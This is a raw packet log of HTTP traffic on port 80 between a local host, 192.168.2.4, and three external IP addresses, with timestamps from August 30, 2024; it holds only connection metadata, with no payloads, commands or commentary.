Aug 30, 2024 03:17:07.608206987 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.608217955 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608218908 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.608227968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608233929 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.608238935 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608249903 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608257055 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.608258963 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608259916 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.608270884 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608285904 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.608304024 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.608325958 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.608341932 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.608350992 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.608362913 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.608371973 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.608374119 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.608381033 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.608383894 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608393908 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608422995 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.608458996 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.608458996 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.608774900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608818054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608829021 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608877897 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.608907938 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608917952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608927965 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608938932 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608947992 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608949900 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.608963013 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.608994961 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.624085903 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.624095917 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.624105930 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.624115944 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.624126911 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.624140978 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.624154091 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.624164104 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.624166012 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.624176025 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.624186993 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.624190092 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.624197006 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.624212027 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.624237061 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.624243021 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.624253035 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.624263048 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.624284029 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.624284983 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.624294996 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.624296904 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.624305010 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.624320030 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.624341965 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.628041029 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.628051996 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.628061056 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.628087997 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.628091097 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.628098011 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.628099918 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.628109932 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.628120899 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.628123999 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.628129959 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.628150940 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.628158092 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.628175020 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.628182888 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.628192902 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.628195047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.628251076 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.628266096 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.628277063 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.628287077 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.628298044 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.628307104 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.628338099 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.628365993 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.628376007 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.628411055 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.628452063 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.628462076 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.628473997 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.628489017 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.628499031 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.628500938 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.628509998 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.628516912 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.628537893 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.628559113 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629385948 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629396915 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629407883 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629436016 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629441023 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629442930 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629470110 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629594088 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629605055 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629614115 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629637003 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629652023 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629673958 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629687071 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629689932 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629689932 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629689932 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629695892 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629707098 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629709959 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629719973 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629734039 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629740000 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629749060 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629759073 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629760027 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629767895 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629781008 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629791975 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629802942 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629802942 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629813910 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629825115 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629827976 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629836082 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629842043 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629861116 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629863977 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629872084 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629882097 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629887104 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629898071 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629906893 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629916906 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629920006 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629926920 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629942894 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629944086 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629959106 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629964113 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629968882 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629980087 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629983902 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.629990101 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.629998922 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630002022 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630009890 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630022049 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630024910 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630042076 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630048037 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630053043 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630063057 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630072117 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630073071 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630083084 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630084991 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630110979 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630115032 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630130053 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630136013 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630146027 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630148888 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630153894 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630166054 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630167961 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630177021 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630178928 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630184889 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630198956 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630224943 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630418062 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630531073 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630539894 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630553007 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630570889 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630573034 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630584002 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630594969 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630604982 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630614042 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630614996 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630620956 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630625010 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630635977 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630641937 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630644083 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630667925 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630675077 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630675077 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630686998 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630696058 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630708933 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630717039 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630718946 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630740881 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630749941 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630907059 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630929947 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630939960 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.630969048 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.630990982 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.631000996 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.631011009 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.631021023 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.631043911 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.631045103 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.631056070 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.631066084 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.631099939 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636007071 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636018038 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636029005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636050940 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636054039 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636063099 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636074066 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636075020 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636085033 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636096954 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636120081 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636151075 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636161089 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636190891 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636229038 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636240005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636250019 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636260986 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636271000 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636271954 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636288881 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636308908 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636327028 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636337042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636346102 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636356115 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636367083 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636373043 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636377096 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636379957 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636409044 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636501074 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636511087 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636550903 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636552095 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636564970 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636578083 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636581898 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636605978 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636615992 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636661053 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636678934 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636689901 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636722088 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636759996 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636774063 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636801958 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636827946 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636835098 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636850119 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636879921 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636904001 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636914015 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636923075 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636940002 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636964083 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.636986017 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.636996984 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.637006044 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.637028933 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.637041092 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.637104034 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.637145996 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.637195110 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.637203932 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.637213945 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.637223959 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.637233973 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.637238026 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.637244940 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.637255907 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.637258053 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.637264967 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.637275934 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.637288094 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.637311935 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.638950109 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.638966084 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.638976097 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.638991117 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.639000893 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.639019966 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.639033079 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639044046 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639055014 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639066935 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639075994 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.639076948 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639096022 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.639100075 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639117002 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.639122009 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639133930 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639138937 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.639144897 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639163971 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.639169931 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639179945 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639185905 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.639205933 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639209032 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.639241934 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.639504910 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639516115 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639524937 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639549971 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.639552116 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639563084 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639573097 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.639574051 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.639595032 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.639619112 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.669826984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.669888973 CEST	80	49737	176.113.115.33	192.168.2.4
